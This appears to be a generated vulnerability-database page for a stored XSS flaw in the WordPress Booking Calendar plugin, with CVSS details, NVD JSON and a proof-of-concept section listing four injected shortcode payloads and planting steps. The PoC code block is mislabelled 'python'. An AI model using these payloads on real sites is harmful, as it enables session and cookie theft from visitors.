Security Vulnerability Report
中文
CVE-2025-12804 CVSS 6.4 MEDIUM

CVE-2025-12804

Published: 2025-12-05 03:15:57
Last Modified: 2026-04-15 00:35:42

Description

The Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin 'bookingcalendar' shortcode in all versions up to, and including, 10.14.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Booking Calendar plugin for WordPress <= 10.14.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Booking Calendar Plugin XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Using shortcode with malicious attribute --> [bookingcalendar some_attr='" onmouseover="alert(document.cookie)" x="'] <!-- Method 2: Using script injection in shortcode attribute --> [bookingcalendar custom_field=<script>alert('XSS')</script>] <!-- Method 3: Using event handler injection --> [bookingcalendar title='Test" onfocus="eval(atob('YWxlcnQoJ1hTUycpOw=='))" autofocus="'] <!-- Method 4: Using img tag with onerror --> [bookingcalendar value='"><img src=x onerror=alert(document.domain)>'] <!-- WordPress Admin Panel Exploitation Method --> <!-- 1. Login to WordPress with Contributor account --> <!-- 2. Create or edit a post/page --> <!-- 3. Add the booking calendar shortcode with XSS payload --> <!-- 4. Save and publish the post --> <!-- 5. When any user views the page, the XSS will execute -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12804", "sourceIdentifier": "[email protected]", "published": "2025-12-05T03:15:56.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin 'bookingcalendar' shortcode in all versions up to, and including, 10.14.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Booking Calendar para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'bookingcalendar' del plugin en todas las versiones hasta la 10.14.6, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3391614/booking", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ad993a62-457a-494f-a7c8-256b808d18c0?source=cve", "source": "[email protected]"}]}}